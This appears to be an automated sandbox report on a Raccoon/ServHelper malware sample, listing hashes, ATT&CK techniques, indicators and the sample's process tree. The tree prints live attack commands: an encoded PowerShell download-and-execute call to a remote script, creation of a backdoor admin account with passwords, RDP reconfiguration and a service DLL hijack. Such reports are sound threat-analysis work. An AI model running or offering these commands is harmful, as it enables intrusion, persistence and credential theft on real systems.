raccoon | 143cf1724057f9b6a6630656e8735857d6146ff6dd0c2afc736545b46194437c

Analysis

max time kernel
121s
max time network
144s
platform
windows7_x64
resource
win7v20210408
submitted
03-06-2021 13:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

66ee84542266e55c0215ca60869f1347.exe
Size

567KB
MD5

66ee84542266e55c0215ca60869f1347
SHA1

147b6dd6bd7b0c5060ded97b844bb1494cf1ddb6
SHA256

143cf1724057f9b6a6630656e8735857d6146ff6dd0c2afc736545b46194437c
SHA512

ead9fc39d6fc972587b777151b040885b7df8eb4ea2bf305f259243915ef2bd190c9e4ea36999442b59b52054a75f07df9d8dd3f380841bb27a13c587b6da2ad

Score

10^/10

raccoon servhelper 89ac909b803bacbc6cc523520599c4b9c029b033 backdoor discovery exploit persistence spyware stealer trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Extracted

Family

raccoon

Botnet

89ac909b803bacbc6cc523520599c4b9c029b033

Attributes

url4cnc
https://tttttt.me/jdiamond13

rc4.plain

Signatures

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
14	868	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1484	QyeaZkZMby.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1068	icacls.exe
1108	icacls.exe
584	icacls.exe
1388	icacls.exe
952	icacls.exe
684	takeown.exe
1100	icacls.exe
1620	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00050000000130d9-200.dat	upx
behavioral1/files/0x00060000000130da-201.dat	upx

Deletes itself 1 IoCs

pid	Process
1760	cmd.exe

Loads dropped DLL 12 IoCs

pid	Process
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1612	66ee84542266e55c0215ca60869f1347.exe
1620	Process not Found
1620	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1100	icacls.exe
1620	icacls.exe
1068	icacls.exe
1108	icacls.exe
584	icacls.exe
1388	icacls.exe
952	icacls.exe
684	takeown.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_41882b92-2515-4e03-91b6-2c264edec8ed	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5105268e-ccd2-4356-841a-464bb723b528	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e950ca13-accc-43a2-a276-f9cd0e1c24a3	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_8a18e746-74c2-4e5f-a1d2-9b5904a276b9	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a980ea9d-2e97-4b30-838c-b0a80532d8f9	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_823654c3-7f63-4c67-badd-64a14fd9d847	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aae5092e-0a61-4064-8c2a-aee261c7a668	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_54ff84f7-acf8-4722-a8c1-bf3b1f379dd6	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c1c4d836-a84a-4eeb-84bd-1a8b1c0204be	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4b29945d-c40f-4c2a-a171-d964720a1adb	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1HW9QN0TFUW4B1TH5QJJ.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_704a1d5c-6e70-4f36-8a44-bb9e39e88fd1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1068	timeout.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 806f2fb38a58d701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
888	reg.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	66ee84542266e55c0215ca60869f1347.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	66ee84542266e55c0215ca60869f1347.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1548	powershell.exe
1548	powershell.exe
2044	powershell.exe
2044	powershell.exe
1324	powershell.exe
1324	powershell.exe
1012	powershell.exe
1012	powershell.exe
1548	powershell.exe
1548	powershell.exe
1548	powershell.exe
868	powershell.exe
868	powershell.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
468	Process not Found
1620	Process not Found
1620	Process not Found
1620	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeRestorePrivilege	1620	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeAuditPrivilege	1696	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1696	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1696	WMIC.exe
Token: SeAuditPrivilege	1696	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1740	WMIC.exe
Token: SeAuditPrivilege	1740	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1740	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1740	WMIC.exe
Token: SeAuditPrivilege	1740	WMIC.exe
Token: SeDebugPrivilege	868	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1612 wrote to memory of 1484	1612	66ee84542266e55c0215ca60869f1347.exe	30
PID 1612 wrote to memory of 1484	1612	66ee84542266e55c0215ca60869f1347.exe	30
PID 1612 wrote to memory of 1484	1612	66ee84542266e55c0215ca60869f1347.exe	30
PID 1612 wrote to memory of 1484	1612	66ee84542266e55c0215ca60869f1347.exe	30
PID 1612 wrote to memory of 1760	1612	66ee84542266e55c0215ca60869f1347.exe	31
PID 1612 wrote to memory of 1760	1612	66ee84542266e55c0215ca60869f1347.exe	31
PID 1612 wrote to memory of 1760	1612	66ee84542266e55c0215ca60869f1347.exe	31
PID 1612 wrote to memory of 1760	1612	66ee84542266e55c0215ca60869f1347.exe	31
PID 1760 wrote to memory of 1068	1760	cmd.exe	33
PID 1760 wrote to memory of 1068	1760	cmd.exe	33
PID 1760 wrote to memory of 1068	1760	cmd.exe	33
PID 1760 wrote to memory of 1068	1760	cmd.exe	33
PID 1484 wrote to memory of 1548	1484	QyeaZkZMby.exe	34
PID 1484 wrote to memory of 1548	1484	QyeaZkZMby.exe	34
PID 1484 wrote to memory of 1548	1484	QyeaZkZMby.exe	34
PID 1548 wrote to memory of 316	1548	powershell.exe	36
PID 1548 wrote to memory of 316	1548	powershell.exe	36
PID 1548 wrote to memory of 316	1548	powershell.exe	36
PID 316 wrote to memory of 1120	316	csc.exe	37
PID 316 wrote to memory of 1120	316	csc.exe	37
PID 316 wrote to memory of 1120	316	csc.exe	37
PID 1548 wrote to memory of 2044	1548	powershell.exe	38
PID 1548 wrote to memory of 2044	1548	powershell.exe	38
PID 1548 wrote to memory of 2044	1548	powershell.exe	38
PID 1548 wrote to memory of 1324	1548	powershell.exe	40
PID 1548 wrote to memory of 1324	1548	powershell.exe	40
PID 1548 wrote to memory of 1324	1548	powershell.exe	40
PID 1548 wrote to memory of 1012	1548	powershell.exe	42
PID 1548 wrote to memory of 1012	1548	powershell.exe	42
PID 1548 wrote to memory of 1012	1548	powershell.exe	42
PID 1548 wrote to memory of 684	1548	powershell.exe	45
PID 1548 wrote to memory of 684	1548	powershell.exe	45
PID 1548 wrote to memory of 684	1548	powershell.exe	45
PID 1548 wrote to memory of 1100	1548	powershell.exe	46
PID 1548 wrote to memory of 1100	1548	powershell.exe	46
PID 1548 wrote to memory of 1100	1548	powershell.exe	46
PID 1548 wrote to memory of 1620	1548	powershell.exe	47
PID 1548 wrote to memory of 1620	1548	powershell.exe	47
PID 1548 wrote to memory of 1620	1548	powershell.exe	47
PID 1548 wrote to memory of 1068	1548	powershell.exe	48
PID 1548 wrote to memory of 1068	1548	powershell.exe	48
PID 1548 wrote to memory of 1068	1548	powershell.exe	48
PID 1548 wrote to memory of 1108	1548	powershell.exe	49
PID 1548 wrote to memory of 1108	1548	powershell.exe	49
PID 1548 wrote to memory of 1108	1548	powershell.exe	49
PID 1548 wrote to memory of 584	1548	powershell.exe	50
PID 1548 wrote to memory of 584	1548	powershell.exe	50
PID 1548 wrote to memory of 584	1548	powershell.exe	50
PID 1548 wrote to memory of 1388	1548	powershell.exe	51
PID 1548 wrote to memory of 1388	1548	powershell.exe	51
PID 1548 wrote to memory of 1388	1548	powershell.exe	51
PID 1548 wrote to memory of 952	1548	powershell.exe	52
PID 1548 wrote to memory of 952	1548	powershell.exe	52
PID 1548 wrote to memory of 952	1548	powershell.exe	52
PID 1548 wrote to memory of 1708	1548	powershell.exe	53
PID 1548 wrote to memory of 1708	1548	powershell.exe	53
PID 1548 wrote to memory of 1708	1548	powershell.exe	53
PID 1548 wrote to memory of 888	1548	powershell.exe	54
PID 1548 wrote to memory of 888	1548	powershell.exe	54
PID 1548 wrote to memory of 888	1548	powershell.exe	54
PID 1548 wrote to memory of 1596	1548	powershell.exe	55
PID 1548 wrote to memory of 1596	1548	powershell.exe	55
PID 1548 wrote to memory of 1596	1548	powershell.exe	55
PID 1548 wrote to memory of 752	1548	powershell.exe	56

C:\Users\Admin\AppData\Local\Temp\66ee84542266e55c0215ca60869f1347.exe
"C:\Users\Admin\AppData\Local\Temp\66ee84542266e55c0215ca60869f1347.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1612
- C:\Users\Admin\AppData\Local\Temp\QyeaZkZMby.exe
  "C:\Users\Admin\AppData\Local\Temp\QyeaZkZMby.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\h2niipx3\h2niipx3.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:316
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAC08.tmp" "c:\Users\Admin\AppData\Local\Temp\h2niipx3\CSC22AB542D93C545F48A70C4EFE97B3FE4.TMP"
        5⤵
        
        PID:1120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1012
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:684
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1100
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:1620
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1068
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1108
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:584
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1388
  - - C:\Windows\system32\icacls.exe
      "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:952
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
      4⤵
      PID:1708
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
      4⤵
      Modifies registry key
      PID:888
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
      4⤵
      PID:1596
  - - C:\Windows\system32\net.exe
      "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:752
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        5⤵
        
        PID:1568
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
      4⤵
      PID:1636
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        5⤵
        
        PID:1084
      - C:\Windows\system32\net.exe
        
        net start rdpdr
        6⤵
        
        PID:488
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        7⤵
        
        PID:1012
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
      4⤵
      PID:1028
    - - C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        5⤵
        
        PID:1824
      - C:\Windows\system32\net.exe
        
        net start TermService
        6⤵
        
        PID:1592
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        7⤵
        
        PID:1760
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
      4⤵
      PID:520
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
      4⤵
      PID:968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\66ee84542266e55c0215ca60869f1347.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1760
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:1068

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
PID:584
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  PID:1112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1584

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 7Q9LYp2y /add
1⤵
PID:856
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 7Q9LYp2y /add
  2⤵
  PID:868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 7Q9LYp2y /add
    3⤵
    PID:540

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1176
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:684

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1696
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:368

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:752
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:540

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc 7Q9LYp2y
1⤵
PID:1104
- C:\Windows\system32\net.exe
  net.exe user wgautilacc 7Q9LYp2y
  2⤵
  PID:108
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 7Q9LYp2y
    3⤵
    PID:1176

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:968
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1696

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:976
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1740

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1636
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1584
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:868

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:112
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:1536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:1824

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/868-223-0x00000000010DA000-0x00000000010F9000-memory.dmp

Filesize
124KB

Download
memory/868-221-0x00000000010D0000-0x00000000010D2000-memory.dmp

Filesize
8KB

Download
memory/868-222-0x00000000010D4000-0x00000000010D6000-memory.dmp

Filesize
8KB

Download
memory/1012-173-0x000000001AC94000-0x000000001AC96000-memory.dmp

Filesize
8KB

Download
memory/1012-172-0x000000001AC90000-0x000000001AC92000-memory.dmp

Filesize
8KB

Download
memory/1324-145-0x000000001ABF0000-0x000000001ABF2000-memory.dmp

Filesize
8KB

Download
memory/1324-151-0x000000001B520000-0x000000001B521000-memory.dmp

Filesize
4KB

Download
